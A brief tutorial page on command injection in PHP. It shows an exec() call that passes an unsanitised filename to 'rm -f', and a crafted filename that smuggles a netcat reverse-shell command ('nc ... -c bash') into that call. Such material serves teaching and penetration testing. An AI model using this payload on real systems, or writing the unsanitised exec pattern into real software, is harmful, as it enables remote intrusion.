Command Injection
Some code can be vulnerable to command injection. Below we will show some common injection methods and where they can be found.
PHP
<?php exec("rm -f $fileName 2> /dev/null"); ?>touch '; nc 10.10.14.161 9004 -c bash ;'<?php exec("rm -f ; nc 10.10.14.161 9004 -c bash ; 2> /dev/null"); ?>Last updated